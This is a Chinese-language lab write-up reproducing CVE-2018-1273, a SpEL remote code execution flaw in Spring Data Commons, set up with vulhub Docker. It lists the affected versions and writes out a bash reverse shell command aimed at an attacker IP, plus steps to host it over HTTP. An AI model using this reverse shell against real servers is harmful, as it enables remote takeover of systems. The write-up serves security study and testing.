一、漏洞说明
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。
Spring Data Commons组件中存在远程代码执行漏洞,攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。
二、影响版本
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
三、搭建环境
cd vulhub/spring/CVE-2018-1273
docker-compose up -d
四、漏洞复现
1.准备shell命令
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
写入文件shell.sh
2.开启http服务
在sh文件所在目录开启http服务
python -m http.server 8081